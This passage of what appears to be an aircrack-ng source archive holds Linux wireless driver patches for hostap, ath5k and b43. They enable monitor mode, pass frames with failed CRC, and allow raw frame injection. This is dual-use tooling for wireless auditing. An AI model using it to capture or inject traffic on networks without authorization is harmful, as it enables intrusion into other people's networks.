PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), - PCMCIA_DEVICE_NULL + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); #endif /* >= 2.6.13 */ Only in hostap-driver-0.4.7-aircrack-ng/driver/modules: .hostap_cs.c.swp diff -ur hostap-driver-0.4.7/driver/modules/hostap_hw.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_hw.c --- hostap-driver-0.4.7/driver/modules/hostap_hw.c 2005-08-20 12:32:34.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_hw.c 2006-03-20 14:45:13.000000000 -0500 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3260,6 +3297,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur hostap-driver-0.4.7/driver/modules/hostap_ioctl.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_ioctl.c --- hostap-driver-0.4.7/driver/modules/hostap_ioctl.c 2005-09-18 21:51:47.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_ioctl.c 2006-03-20 14:45:13.000000000 -0500 @@ -1068,33 +1068,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1160,7 +1134,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur hostap-driver-0.4.7/driver/modules/hostap_pci.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_pci.c --- hostap-driver-0.4.7/driver/modules/hostap_pci.c 2005-09-17 17:05:08.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_pci.c 2006-03-20 14:45:13.000000000 -0500 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur hostap-driver-0.4.7/driver/modules/hostap_plx.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_plx.c --- hostap-driver-0.4.7/driver/modules/hostap_plx.c 2005-09-17 17:05:08.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_plx.c 2006-03-20 14:45:13.000000000 -0500 @@ -98,6 +98,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur hostap-driver-0.4.7/driver/modules/hostap_wlan.h hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_wlan.h --- hostap-driver-0.4.7/driver/modules/hostap_wlan.h 2005-08-06 13:55:14.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_wlan.h 2006-03-20 14:45:13.000000000 -0500 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-beta3/patches/ath5k-pass-failed-crc.patch0000644000000000000000000000107011143173567021654 0ustar rootrootdiff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c --- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 @@ -1732,6 +1738,11 @@ goto accept; } + /* Allow CRC errors through */ + if (rs.rs_status & AR5K_RXERR_CRC) { + goto accept; + } + /* let crypto-error packets fall through in MNTR */ if ((rs.rs_status & ~(AR5K_RXERR_DECRYPT|AR5K_RXERR_MIC)) || aircrack-ng-1.2-beta3/patches/ieee80211_inject-2.6.22.patch0000644000000000000000000000140410761053203021257 0ustar rootroot--- linux-2.6.23_orig/net/ieee80211/ieee80211_tx.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23/net/ieee80211/ieee80211_tx.c 2007-10-14 19:39:49.000000000 +0200 @@ -293,6 +293,23 @@ ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + skb_copy_from_linear_data(skb, skb_put(txb->fragments[0],skb->len), skb->len); + + goto success; + } + crypt = ieee->crypt[ieee->tx_keyidx]; encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && aircrack-ng-1.2-beta3/patches/b43-injection-2.6.26-wl.patch0000644000000000000000000000367011040156044021421 0ustar rootrootdiff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c index 8d54502..3e0e088 100644 --- a/drivers/net/wireless/b43/xmit.c +++ b/drivers/net/wireless/b43/xmit.c @@ -315,10 +315,16 @@ int b43_generate_txhdr(struct b43_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43_TXH_MAC_ACK; /* use hardware sequence counter as the non-TID counter */ - if (info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) mac_ctl |= B43_TXH_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43_TXH_MAC_STMSDU; diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c index e969ed8..c19409e 100644 --- a/drivers/net/wireless/b43legacy/xmit.c +++ b/drivers/net/wireless/b43legacy/xmit.c @@ -293,9 +293,15 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43legacy_TX4_MAC_STMSDU; aircrack-ng-1.2-beta3/patches/ieee80211_softmac_adjust_bitrate.patch0000644000000000000000000000372010761053203024001 0ustar rootrootdiff -Naur linux-2.6.21.1_orig/net/ieee80211/softmac/ieee80211softmac_module.c linux-2.6.21.1_rawtx/net/ieee80211/softmac/ieee80211softmac_module.c --- linux-2.6.21.1_orig/net/ieee80211/softmac/ieee80211softmac_module.c 2007-04-27 23:49:26.000000000 +0200 +++ linux-2.6.21.1_rawtx/net/ieee80211/softmac/ieee80211softmac_module.c 2007-12-03 23:38:51.000000000 +0100 @@ -238,18 +238,34 @@ struct ieee80211softmac_txrates *txrates = &mac->txrates; u32 change = 0; - change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; - txrates->default_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 0); + if (mac->ieee->iw_mode == IW_MODE_MONITOR) + { + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; + txrates->default_rate = mac->txrates.user_rate; - change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; - txrates->default_fallback = lower_rate(mac, txrates->default_rate); + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; + txrates->default_fallback = mac->txrates.user_rate; - change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; - txrates->mcast_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 1); + change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; + txrates->mcast_rate = mac->txrates.user_rate; - if (mac->txrates_change) - mac->txrates_change(mac->dev, change); + if (mac->txrates_change) + mac->txrates_change(mac->dev, change); + } + else + { + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; + txrates->default_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 0); + + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; + txrates->default_fallback = lower_rate(mac, txrates->default_rate); + change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; + txrates->mcast_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 1); + + if (mac->txrates_change) + mac->txrates_change(mac->dev, change); + } } void ieee80211softmac_init_bss(struct ieee80211softmac_device *mac) aircrack-ng-1.2-beta3/patches/ath5k-radiotap-fragfix-2.6.28-rc8-wl.patch0000644000000000000000000000262011121505706024003 0ustar rootrootdiff --git a/drivers/net/wireless/ath5k/attach.c b/drivers/net/wireless/ath5k/attach.c index 51d5698..49d82d7 100644 --- a/drivers/net/wireless/ath5k/attach.c +++ b/drivers/net/wireless/ath5k/attach.c @@ -317,9 +317,16 @@ struct ath5k_hw *ath5k_hw_attach(struct ath5k_softc *sc, u8 mac_version) goto err_free; } + /* Set MAC address */ + ret = ath5k_eeprom_read_mac(ah, mac); + if (ret) { + ATH5K_ERR(sc, "unable to read address from EEPROM: 0x%04x\n", + sc->pdev->device); + goto err_free; + } + - /* MAC address is cleared until add_interface */ ath5k_hw_set_lladdr(ah, mac); /* Set BSSID to bcast address: ff:ff:ff:ff:ff:ff for now */ memset(ah->ah_bssid, 0xff, ETH_ALEN); ath5k_hw_set_associd(ah, ah->ah_bssid, 0); diff --git a/drivers/net/wireless/ath5k/base.c b/drivers/net/wireless/ath5k/base.c index 9eb9871..ec0104f 100644 --- a/drivers/net/wireless/ath5k/base.c +++ b/drivers/net/wireless/ath5k/base.c @@ -1182,7 +1182,9 @@ ath5k_txbuf_setup(struct ath5k_softc *sc, struct ath5k_buf *bf) bf->skbaddr = pci_map_single(sc->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); - if (info->flags & IEEE80211_TX_CTL_NO_ACK) + if ((info->flags & IEEE80211_TX_CTL_NO_ACK) && + !((info->flags & IEEE80211_TX_CTL_INJECTED) && + (ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) flags |= AR5K_TXDESC_NOACK; pktlen = skb->len; aircrack-ng-1.2-beta3/patches/hostap-kernel-2.6.18.patch0000644000000000000000000001722210761053203021206 0ustar rootrootdiff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_80211_tx.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_80211_tx.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c 2006-09-21 01:30:18.000000000 -0400 @@ -69,6 +69,9 @@ iface = netdev_priv(dev); local = iface->local; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -234,6 +237,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -404,8 +408,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_cs.c.orig Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_cs.c.rej diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_hw.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_hw.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_hw.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_hw.c 2006-09-21 01:30:18.000000000 -0400 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1031,6 +1060,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1466,6 +1499,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3156,6 +3193,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_hw.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_ioctl.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_ioctl.c 2006-09-21 01:26:27.000000000 -0400 +++ 